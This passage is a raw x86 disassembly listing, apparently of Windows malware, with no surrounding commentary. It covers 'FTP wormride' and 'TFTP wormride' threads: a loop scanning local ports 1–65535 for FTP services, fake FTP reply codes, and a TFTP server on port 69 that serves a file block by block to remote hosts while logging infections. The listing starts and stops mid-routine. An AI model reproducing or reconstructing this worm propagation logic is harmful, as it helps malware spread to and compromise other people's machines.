		pop	ecx
		mov	[ebp+var_554], eax
		cmp	[ebp+var_554], 0
		jnz	short loc_41179D
		jmp	loc_4119BA
; ---------------------------------------------------------------------------


loc_41179D:				; CODE XREF: sub_41113B+65Bj
		push	2
		push	0
		push	[ebp+var_554]
		call	sub_416B96
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B76
		pop	ecx
		mov	[ebp+var_550], eax
		push	0
		push	0
		push	[ebp+var_554]
		call	sub_416B96
		add	esp, 0Ch
		push	[ebp+var_554]
		call	sub_416B82
		pop	ecx
		push	offset dword_41EC0C
		push	[ebp+var_550]
		push	offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan	1 0:00 .\r\ndrwxr-x"...
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 14h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_54C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_54C]
		call	sub_40538D
		pop	ecx
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	loc_4111CC
; ---------------------------------------------------------------------------


loc_411873:				; CODE XREF: sub_41113B+5C1j
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C54C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_411969
		push	offset a150	; "150 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_41102F
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_411967
		push	offset dword_41C558
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	1
		push	offset dword_41EBE8
		call	sub_409C88
		pop	ecx
		pop	ecx
		inc	eax
		mov	[ebp+var_558], eax
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+var_558]
		push	offset aFtp_0	; "ftp"
		push	offset unk_41C520
		push	offset dword_41DB90
		call	sub_40D4AB
		add	esp, 14h
		push	3E8h
		call	dword_41709C
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411967:				; CODE XREF: sub_41113B+7A4j
		jmp	short loc_4119BA
; ---------------------------------------------------------------------------


loc_411969:				; CODE XREF: sub_41113B+74Bj
		mov	eax, [ebp+var_524]
		sub	eax, dword_41C514
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_4119BA
		push	offset a221	; "221 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch


loc_4119BA:				; CODE XREF: sub_41113B+A5j
					; sub_41113B:loc_411218j ...
		push	offset a231	; "231 -\r\n"
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		pop	edi
		leave
		retn	4
sub_41113B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A09	proc near		; CODE XREF: sub_411BBC+90p

var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		push	32h
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411A29
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A29:				; CODE XREF: sub_411A09+17j
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411A58
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411A5F


loc_411A58:				; CODE XREF: sub_411A09+44j
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A5F:				; CODE XREF: sub_411A09+4Dj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6D8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_411A09+78j
		push	offset dword_41C6CC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411AEE
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411AF5


loc_411AEE:				; CODE XREF: sub_411A09+DAj
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411AF5:				; CODE XREF: sub_411A09+E3j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6C8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411B20
		xor	eax, eax
		jmp	locret_411BBA
; ---------------------------------------------------------------------------


loc_411B20:				; CODE XREF: sub_411A09+10Ej
		call	sub_410422
		push	eax
		push	offset dword_41C6BC
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B5E
		add	esp, 0Ch
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_4053BF
		add	esp, 0Ch
		push	32h
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411B8B
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_411B8F


loc_411B8B:				; CODE XREF: sub_411A09+177j
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411B8F:				; CODE XREF: sub_411A09+180j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407BF5
		pop	ecx
		push	offset dword_41C6B8
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416DDE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_411BB7
		xor	eax, eax
		jmp	short locret_411BBA
; ---------------------------------------------------------------------------


loc_411BB7:				; CODE XREF: sub_411A09+1A8j
		push	1
		pop	eax

locret_411BBA:				; CODE XREF: sub_411A09+1Bj
					; sub_411A09+51j ...
		leave
		retn
sub_411A09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BBC	proc near		; CODE XREF: sub_411D59+6p

var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1C8h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 1
		jmp	short loc_411C04
; ---------------------------------------------------------------------------


loc_411BFD:				; CODE XREF: sub_411BBC:loc_411CABj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_411C04:				; CODE XREF: sub_411BBC+3Fj
		cmp	[ebp+var_8], 0FFFFh
		jnb	loc_411CB0
		push	0Ah
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_8]
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset a127_0_0_1 ; "127.0.0.1"
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jz	short loc_411CAB
		push	[ebp+var_1C4]
		call	sub_411A09
		pop	ecx
		test	eax, eax
		jz	short loc_411C9F
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411C76
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_10]
		call	sub_404871
		add	esp, 0Ch
		jmp	short loc_411C9F
; ---------------------------------------------------------------------------


loc_411C76:				; CODE XREF: sub_411BBC+A5j
		push	2
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_411C9F
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411C9F:				; CODE XREF: sub_411BBC+98j
					; sub_411BBC+B8j ...
		push	[ebp+var_1C4]
		call	sub_4053B1
		pop	ecx


loc_411CAB:				; CODE XREF: sub_411BBC+88j
		jmp	loc_411BFD
; ---------------------------------------------------------------------------


loc_411CB0:				; CODE XREF: sub_411BBC+4Fj
		cmp	[ebp+var_10], 0
		jnz	short loc_411CC9
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_411D55
; ---------------------------------------------------------------------------


loc_411CC9:				; CODE XREF: sub_411BBC+F8j
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset unk_41C6DC
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_411CE5:				; CODE XREF: sub_411BBC:loc_411D3Cj
		push	3E8h
		push	[ebp+var_10]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		cmp	[ebp+var_1C8], 0
		jz	short loc_411D2E
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jz	short loc_411D2E
		push	[ebp+var_1C8]
		push	offset sub_41113B
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_411D2E
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx


loc_411D2E:				; CODE XREF: sub_411BBC+145j
					; sub_411BBC+14Ej ...
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_411D3C
		jmp	short loc_411D3E
; ---------------------------------------------------------------------------


loc_411D3C:				; CODE XREF: sub_411BBC+17Cj
		jmp	short loc_411CE5
; ---------------------------------------------------------------------------


loc_411D3E:				; CODE XREF: sub_411BBC+17Ej
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_411D55:				; CODE XREF: sub_411BBC+DEj
					; sub_411BBC+108j
		leave
		retn	4
sub_411BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D59	proc near		; DATA XREF: sub_411D68+4Eo

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_411BBC
		pop	ebp
		retn	4
sub_411D59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D68	proc near		; CODE XREF: sub_40A9CF+70Fp
					; sub_40A9CF+735p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_4042FB
		test	eax, eax
		jz	short loc_411D77
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D77:				; CODE XREF: sub_411D68+Bj
		push	1A7h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_411D8D
		jmp	short locret_411DC3
; ---------------------------------------------------------------------------


loc_411D8D:				; CODE XREF: sub_411D68+21j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aFtpWormrideThr ; "FTP wormride thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411D59
		call	sub_4095A4
		add	esp, 10h

locret_411DC3:				; CODE XREF: sub_411D68+Dj
					; sub_411D68+23j
		leave
		retn
sub_411D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DC5	proc near		; DATA XREF: sub_4123F6+43o

var_DAC		= dword	ptr -0DACh
var_DA8		= dword	ptr -0DA8h
var_DA4		= dword	ptr -0DA4h
var_DA0		= byte ptr -0DA0h
var_D9C		= dword	ptr -0D9Ch
var_D98		= byte ptr -0D98h
var_D94		= dword	ptr -0D94h
var_D90		= dword	ptr -0D90h
var_D8C		= dword	ptr -0D8Ch
var_D88		= dword	ptr -0D88h
var_D84		= dword	ptr -0D84h
var_D80		= byte ptr -0D80h
var_D7C		= dword	ptr -0D7Ch
var_D70		= byte ptr -0D70h
var_D6F		= byte ptr -0D6Fh
var_D6E		= byte ptr -0D6Eh
var_D6D		= byte ptr -0D6Dh
var_D6C		= byte ptr -0D6Ch
var_B6C		= dword	ptr -0B6Ch
var_B68		= dword	ptr -0B68h
var_B64		= dword	ptr -0B64h
var_B60		= dword	ptr -0B60h
var_B5C		= dword	ptr -0B5Ch
var_B58		= dword	ptr -0B58h
var_358		= dword	ptr -358h
var_354		= byte ptr -354h
var_1B0		= word ptr -1B0h
var_1AE		= word ptr -1AEh
var_1AC		= dword	ptr -1ACh
var_1A0		= dword	ptr -1A0h
var_19C		= byte ptr -19Ch
var_19B		= byte ptr -19Bh
var_19A		= byte ptr -19Ah
var_199		= byte ptr -199h
var_11C		= byte ptr -11Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DACh
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_358]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		push	0
		push	2
		push	2
		call	dword_417218
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0FFFFFFFFh
		jnz	short loc_411E1D
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411E1D:				; CODE XREF: sub_411DC5+43j
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_40449C
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		mov	[ebp+var_1B0], 2
		push	45h
		call	dword_417238
		mov	[ebp+var_1AE], ax
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_417244
		mov	[ebp+var_1AC], eax
		mov	[ebp+var_1A0], 1
		push	4
		lea	eax, [ebp+var_1A0]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_108]
		call	dword_417204
		push	10h
		lea	eax, [ebp+var_1B0]
		push	eax
		push	[ebp+var_108]
		call	dword_417208
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411EC2
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411EC2:				; CODE XREF: sub_411DC5+E8j
		push	offset aRb	; "rb"
		push	offset dword_41EC0C
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_10C], eax
		cmp	[ebp+var_10C], 0
		jnz	short loc_411F01
		push	[ebp+var_108]
		call	dword_417230
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	loc_4123F1
; ---------------------------------------------------------------------------


loc_411F01:				; CODE XREF: sub_411DC5+11Bj
		mov	eax, [ebp+var_358]
		push	dword ptr [eax]
		push	offset unk_41C788
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	2
		push	0
		push	[ebp+var_10C]
		call	sub_416B96
		add	esp, 0Ch
		push	[ebp+var_10C]
		call	sub_416B76
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96
		add	esp, 0Ch
		push	80h
		push	0
		lea	eax, [ebp+var_19C]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch


loc_411F66:				; CODE XREF: sub_411DC5:loc_412084j
					; sub_411DC5:loc_4123C6j
		mov	[ebp+var_B64], 1
		and	[ebp+var_B60], 0
		and	[ebp+var_B5C], 0


loc_411F7E:				; CODE XREF: sub_411DC5+234j
		and	[ebp+var_B68], 0
		jmp	short loc_411F94
; ---------------------------------------------------------------------------


loc_411F87:				; CODE XREF: sub_411DC5:loc_411FB9j
		mov	eax, [ebp+var_B68]
		inc	eax
		mov	[ebp+var_B68], eax


loc_411F94:				; CODE XREF: sub_411DC5+1C0j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnb	short loc_411FBB
		mov	eax, [ebp+var_B68]
		mov	eax, [ebp+eax*4+var_B58]
		cmp	eax, [ebp+var_108]
		jnz	short loc_411FB9
		jmp	short loc_411FBB
; ---------------------------------------------------------------------------


loc_411FB9:				; CODE XREF: sub_411DC5+1F0j
		jmp	short loc_411F87
; ---------------------------------------------------------------------------


loc_411FBB:				; CODE XREF: sub_411DC5+1DBj
					; sub_411DC5+1F2j
		mov	eax, [ebp+var_B68]
		cmp	eax, [ebp+var_B5C]
		jnz	short loc_411FF5
		cmp	[ebp+var_B5C], 200h
		jnb	short loc_411FF5
		mov	eax, [ebp+var_B68]
		mov	ecx, [ebp+var_108]
		mov	[ebp+eax*4+var_B58], ecx
		mov	eax, [ebp+var_B5C]
		inc	eax
		mov	[ebp+var_B5C], eax


loc_411FF5:				; CODE XREF: sub_411DC5+202j
					; sub_411DC5+20Ej
		xor	eax, eax
		test	eax, eax
		jnz	short loc_411F7E
		lea	eax, [ebp+var_B64]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_B5C]
		push	eax
		push	0
		call	dword_41722C
		test	eax, eax
		jle	loc_4123B8
		mov	[ebp+var_D84], 10h
		mov	al, byte_41DF10
		mov	[ebp+var_D70], al
		mov	ecx, 80h
		xor	eax, eax
		lea	edi, [ebp+var_D6F]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_D84]
		push	eax
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	80h
		lea	eax, [ebp+var_19C]
		push	eax
		push	[ebp+var_108]
		call	dword_417258
		mov	[ebp+var_B6C], eax
		cmp	[ebp+var_B6C], 0
		jz	short loc_412084
		cmp	[ebp+var_B6C], 0FFFFFFFFh
		jnz	short loc_412089


loc_412084:				; CODE XREF: sub_411DC5+2B4j
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_412089:				; CODE XREF: sub_411DC5+2BDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_4121C0
		movsx	eax, [ebp+var_19B]
		cmp	eax, 1
		jnz	loc_4121C0
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D88], eax
		lea	eax, [ebp+var_19C]
		mov	[ebp+var_D8C], eax
		mov	eax, [ebp+var_D88]
		inc	eax
		inc	eax
		mov	[ebp+var_D88], eax
		mov	eax, [ebp+var_D8C]
		inc	eax
		inc	eax
		mov	[ebp+var_D8C], eax
		push	[ebp+var_D8C]
		call	sub_416B40
		pop	ecx
		mov	ecx, [ebp+var_D8C]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_D8C], eax
		push	offset aOctet	; "octet"
		call	sub_416B40
		pop	ecx
		push	eax
		push	[ebp+var_D8C]
		push	offset aOctet	; "octet"
		call	sub_416BF0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41213F
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	13h
		push	offset dword_41C76C
		push	[ebp+var_108]
		call	dword_417250
		jmp	short loc_4121BB
; ---------------------------------------------------------------------------


loc_41213F:				; CODE XREF: sub_411DC5+354j
		push	0
		push	0
		push	[ebp+var_10C]
		call	sub_416B96
		add	esp, 0Ch
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		and	[ebp+var_D6E], 0
		mov	[ebp+var_D6D], 1
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90
		add	esp, 10h
		mov	[ebp+var_D90], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D90]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	dword_417250


loc_4121BB:				; CODE XREF: sub_411DC5+378j
		jmp	loc_4123B8
; ---------------------------------------------------------------------------


loc_4121C0:				; CODE XREF: sub_411DC5+2CDj
					; sub_411DC5+2DDj
		movsx	eax, [ebp+var_19C]
		test	eax, eax
		jnz	loc_412396
		movsx	eax, [ebp+var_19B]
		cmp	eax, 4
		jnz	loc_412396
		mov	al, [ebp+var_19A]
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_199]
		mov	[ebp+var_D98], al
		and	[ebp+var_D70], 0
		mov	[ebp+var_D6F], 3
		movzx	eax, [ebp+var_D98]
		cmp	eax, 0FFh
		jnz	short loc_412242
		mov	al, [ebp+var_DA0]
		add	al, 1
		mov	[ebp+var_DA0], al
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		and	[ebp+var_D98], 0
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al
		jmp	short loc_412268
; ---------------------------------------------------------------------------


loc_412242:				; CODE XREF: sub_411DC5+44Cj
		mov	al, [ebp+var_DA0]
		mov	[ebp+var_D6E], al
		mov	al, [ebp+var_D98]
		add	al, 1
		mov	[ebp+var_D98], al
		mov	al, [ebp+var_D98]
		mov	[ebp+var_D6D], al


loc_412268:				; CODE XREF: sub_411DC5+47Bj
		movzx	eax, [ebp+var_DA0]
		shl	eax, 8
		movzx	ecx, [ebp+var_D98]
		lea	eax, [eax+ecx-1]
		mov	[ebp+var_D9C], eax
		push	0
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		push	eax
		push	[ebp+var_10C]
		call	sub_416B96
		add	esp, 0Ch
		push	[ebp+var_10C]
		push	200h
		push	1
		lea	eax, [ebp+var_D6C]
		push	eax
		call	sub_416B90
		add	esp, 10h
		mov	[ebp+var_D94], eax
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		mov	eax, [ebp+var_D94]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_D70]
		push	eax
		push	[ebp+var_108]
		call	dword_417250
		cmp	[ebp+var_D94], 0
		jnz	loc_412394
		mov	eax, [ebp+var_D9C]
		shl	eax, 9
		cmp	eax, [ebp+var_4]
		jb	loc_412394
		mov	eax, [ebp+var_D7C]
		mov	[ebp+var_DA8], eax
		push	[ebp+var_DA8]
		push	offset dword_41EBF0
		call	sub_409C9D
		pop	ecx
		pop	ecx
		mov	[ebp+var_DA4], eax
		mov	eax, [ebp+var_DA4]
		cmp	eax, [ebp+var_DA8]
		jz	short loc_412394
		push	1
		push	offset dword_41EBF4
		call	sub_409C88
		pop	ecx
		pop	ecx
		mov	[ebp+var_DAC], eax
		push	10h
		push	[ebp+var_D7C]
		call	dword_41721C
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_11C]
		push	eax
		mov	eax, [ebp+var_DAC]
		inc	eax
		push	eax
		push	offset aWormride ; "wormride"
		push	offset unk_41C730
		push	offset dword_41DB90
		call	sub_40D4AB
		add	esp, 14h


loc_412394:				; CODE XREF: sub_411DC5+52Dj
					; sub_411DC5+53Fj ...
		jmp	short loc_4123B8
; ---------------------------------------------------------------------------


loc_412396:				; CODE XREF: sub_411DC5+404j
					; sub_411DC5+414j
		push	[ebp+var_D84]
		lea	eax, [ebp+var_D80]
		push	eax
		push	0
		push	9
		push	offset dword_41C724
		push	[ebp+var_108]
		call	dword_417250


loc_4123B8:				; CODE XREF: sub_411DC5+252j
					; sub_411DC5:loc_4121BBj ...
		mov	eax, [ebp+var_358]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4123C6
		jmp	short loc_4123CB
; ---------------------------------------------------------------------------


loc_4123C6:				; CODE XREF: sub_411DC5+5FDj
		jmp	loc_411F66
; ---------------------------------------------------------------------------


loc_4123CB:				; CODE XREF: sub_411DC5+5FFj
		push	[ebp+var_10C]
		call	sub_416B82
		pop	ecx
		push	[ebp+var_108]
		call	dword_417230
		push	[ebp+var_358]
		call	sub_409763
		pop	ecx
		xor	eax, eax


loc_4123F1:				; CODE XREF: sub_411DC5+53j
					; sub_411DC5+F8j ...
		pop	edi
		leave
		retn	4
sub_411DC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123F6	proc near		; CODE XREF: sub_40A9CF+726p
					; sub_40A9CF+742p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_412410
		jmp	short locret_412446
; ---------------------------------------------------------------------------


loc_412410:				; CODE XREF: sub_4123F6+16j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aTftpWormrideTh ; "TFTP wormride	thread"
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_411DC5
		call	sub_4095A4
		add	esp, 10h

locret_412446:				; CODE XREF: sub_4123F6+18j
		leave
		retn
sub_4123F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412448	proc near		; CODE XREF: sub_4125DF+88p
					; sub_4125DF+ADp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_41245A
; ---------------------------------------------------------------------------


loc_412453:				; CODE XREF: sub_412448:loc_41249Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_41245A:				; CODE XREF: sub_412448+9j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41249C
		and	[ebp+var_8], 0
		jmp	short loc_41246F
; ---------------------------------------------------------------------------


loc_412468:				; CODE XREF: sub_412448:loc_412498j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_41246F:				; CODE XREF: sub_412448+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_C]
		jnb	short loc_41249A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_10]
		xor	eax, ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_412498
		push	1
		pop	eax
		jmp	short locret_41249E
; ---------------------------------------------------------------------------


loc_412498:				; CODE XREF: sub_412448+49j
		jmp	short loc_412468
; ---------------------------------------------------------------------------


